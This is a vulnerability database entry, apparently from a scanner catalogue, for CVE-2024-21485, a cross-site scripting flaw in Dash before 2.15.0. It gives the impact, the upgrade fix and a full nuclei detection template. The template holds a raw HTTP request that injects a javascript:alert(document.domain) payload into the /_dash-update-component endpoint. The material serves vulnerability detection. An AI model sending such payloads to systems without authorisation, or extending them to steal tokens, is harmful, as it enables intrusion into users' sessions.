HexBrain

Browse / CVEs / CVE-2024-21485

CVE-2024-21485· CWE-79

Dash Framework - Cross-site Scripting

mediumseverity
5.4CVSS score
1.5%likelihood of exploitation, next 30 days
74%of all CVEs are less likely
Readycheck to confirm it

Dash framework versions before 2.15.0 are vulnerable to Cross-site Scripting (XSS) via href attribute in anchor tags. This template tests for javascript:alert payload injection.

Impact

Data theft from users who access the compromised view and Access token stealing allowing attacker to impersonate users

Fix

Upgrade to dash version 2.15.0 or later

How to confirm it

Send: GET /
Positive when: contains "dash-core-components" or "_dash-component-suites"
Send: POST /_dash-update-component
Positive when: contains "props" and "children" and "type" and "javascript:alert(document.domain)" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-21485 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-21485

info:
  name: Dash Framework - Cross-site Scripting
  author: Lee Changhyun(eeche)
  severity: medium
  description: |
    Dash framework versions before 2.15.0 are vulnerable to Cross-site Scripting (XSS) via href attribute in anchor tags. This template tests for javascript:alert payload injection.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21485
  impact: |
    Data theft from users who access the compromised view and Access token stealing allowing attacker to impersonate users
  remediation: |
    Upgrade to dash version 2.15.0 or later
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-21485
    cwe-id: CWE-79
    epss-score: 0.01487
    epss-percentile: 0.74271
    cpe: cpe:2.3:a:plotly:dash:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
  tags: cve,cve2024,dash,xss,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "dash-core-components"
          - "_dash-component-suites"
        condition: or
        internal: true

  - raw:
      - |
        POST /_dash-update-component HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        {"output":"link-output.children","inputs":[{"id":"link-input","property":"value","value":"javascript:alert(document.domain)"}]}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "props"
          - "children"
          - "type"
          - "javascript:alert(document.domain)"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from